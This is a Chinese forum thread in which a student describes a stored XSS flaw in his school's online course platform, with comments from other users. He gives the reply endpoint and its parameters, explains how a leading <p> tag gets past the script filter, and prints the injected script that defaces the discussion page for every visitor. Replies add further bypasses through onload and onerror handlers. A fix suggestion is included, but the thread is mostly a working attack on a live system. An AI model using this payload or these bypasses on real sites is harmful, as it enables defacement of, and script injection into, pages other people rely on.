jidesheng6 发表于 2020-3-20 17:10

【接上次的帖子】学校网课平台的XSS漏洞简单分析

本帖最后由 jidesheng6 于 2020-3-20 19:13 编辑

# 漏洞的成因

> **也不知道算不算漏洞,就是一个XSS攻击,请大佬指正**

- **这个漏洞是因为在提交讨论信息的时候,为了不实现自动换行,程序员直接从用户提交的文本里面加上p标签和br标签导致的**
- **如果直接直接提交恶意代码,是被禁止的,但是因为它的p标签是允许的,个人猜测是只检测开头是不是p标签,导致被利用的**

# 实战利用

- **主要分析有如下几步:**

- **当前页面的DOM结构分析**
- **提交的URL地址**
- **提交的中的参数**

- **首先来看看讨论的地址:**

- ```http
    forumdiscussion/title?forumDiscussionId=bb1b974ab5be4ccc889da292ed625417&courseVersionId=8398e23855d44cbdbe60109e52e54121&forumDetailFlag=1
    ```

- **上面的DiscussionID和courseversioionID是我们需要记下来的**

- **提交讨论回复的接口**

- ```http
   forumdiscussion/insertReplies?forumDiscussionId=1ee176964bcd4bd3830b040e4c2a2355&courseVersionId=8398e23855d44cbdbe60109e52e54121
    ```

- **提交方法:POST**

- **提交表单如下:**

    - ```http
      richText:这里提交用户填入的文本
      postAttachment:无内容
      message:这里是经过处理的文本,要展示在讨论的页面中,会带有<p>和<br>标签,如果不带页面在外面看着就会排版错乱,估计这就是他们为啥要带标签提交吧
      ```

    - **还需要携带用户Cookie一起提交给服务器**

- **浏览器中讨论页面学生答案的DOM结构**

- ```html
    <span class="message">
      <p>1、楚怀王<br></p>
      <p>2、靠海,盐比较多;江苏盐城湿地珍禽国家级自然保护区 江苏大丰麋鹿国家级自然保护区。</p>
    </span>
    ```

- **p标签和br标签都是提交的时候自动存在的,是把学生输入信息处理以后带标签上传展示**

- **经过多次试验,如果只携带script标签服务器会提示禁止,但是如果加入p标签在开头,再输入script标签就不会提示禁止,且根据浏览器的容错性,script标签只要输入一个就可以了,请看下面我提交以后的DOM结构**

    - ```html
      <span class="message">
          <p>本站存在XSS注入漏洞,评论上方会出现一个熊猫头表情包以及带链接的文字,请尽快修复
<script id="0ad4f5d4ed8244fa8830deb4460e04281584694088000">
var m=document.getElementById("titleForum");
var p = document.createElement("img");
m.append(p);p.style="height:400px";
p.src='';
var c = document.createElement("a");
m.append(c);
c.text="本站存在XSS漏洞,现已注入";
c.style='font-size:70px';
c.href='';
var o=document.getElementById("title");
o.remove();
var i = $(".issuerLocation");
i.remove();
var n = $("#forumMessage");
n.remove();
$("#replys").remove();
$(".timeLine").remove();
var e=$("#courseheadTab");
e.html("<div style=font-size:35px;color:red;text-align:center>本站已经被XSS脚本注入攻击请及时修复</div>");
</script>
          </p>
      </span>
      ```

    - **所以只要学生打开这个页面脚本就会加载修改当前页面的内容**

    - **这个应该是存储型XSS还是DOM型我也不清楚,因为只要我删除了这个回复,页面就可以正常显示,还请大佬指点,嘿嘿**

### 结语

**我没有对学校网站进行任何破坏性操作,评论删除页面都会恢复的,给两个图看一下提交后的结果**

- **0x01**
    -
- 0x02
    -

**修复建议:应该对整个文本进行有无script标签检测,或者把提交过去的标签进行HTML实体转义。**

**不过我感觉我们学校根本不会管这个,我就发到这里来记录一下**

涛之雨 发表于 2020-3-21 09:19

给p标签加一个onload也是个很好的选择,只不过要把js全都写在标签里。。。。。。太难受了。
如果允许上传图片,可以给一个假的不存在的src,然后给一个onerror。。。。
不过允许上传图片的话应该就不会绕这么大个圈了吧,。。。。
此外日常吐槽la圾chao星。。。
js一堆bug,天天爆红。。。
额貌似修复了几个?=_=
咋只剩一个了?

下面这个是之前吐槽聊天时的截图

四个全都是他自己的js。。。
还有那个引入的ext插件脚本。。。
各种错误。不是变量重定义,就是没加换行分号,在不就是不加括号。
反正本来准备引入他的js结果扔到tampermonkey,整个插件都用不了了。。。。
害得我还要自己分析555555555555

jidesheng6 发表于 2020-3-20 17:55

霸气侧漏m2 发表于 2020-3-20 17:28
江苏开放大学

是校友嘛哈哈哈

895515845 发表于 2020-3-20 19:08

本帖最后由 895515845 于 2020-3-20 19:14 编辑

太强了吧,楼主是这方面的专业吗

jidesheng6 发表于 2020-3-20 21:06

iPhone8Plus 发表于 2020-3-20 20:43
这波操作很Nice。提交数据时 通过浏览器或F抓包 获得接口 然后定点改message参数 放行提交的吗?

得到接口,然后postman提交,f也可以,我没用到,哈哈。

橘子树先生 发表于 2020-3-20 17:58

网络安全最有效手段是法律,不是技术。{:301_993:}

XinSong 发表于 2020-3-20 17:13

{:1_893:}大佬~{:1_893:},好奇你们学的时候怎么清楚自己要学啥

霸气侧漏m2 发表于 2020-3-20 17:28

{:300_966:}江苏开放大学

一个陌生男人 发表于 2020-3-20 17:34

值得学习

阿甘阿Q 发表于 2020-3-20 18:00

向大神学习

叁先生 发表于 2020-3-20 18:20

大哥你不打码,小心网站被伦

jidesheng6 发表于 2020-3-20 18:27

叁先生 发表于 2020-3-20 18:20
大哥你不打码,小心网站被伦

不会,需要携带登录cookie才可以进行一些数据操作
页: [1] 2 3 4 5 6
查看完整版本: 【接上次的帖子】学校网课平台的XSS漏洞简单分析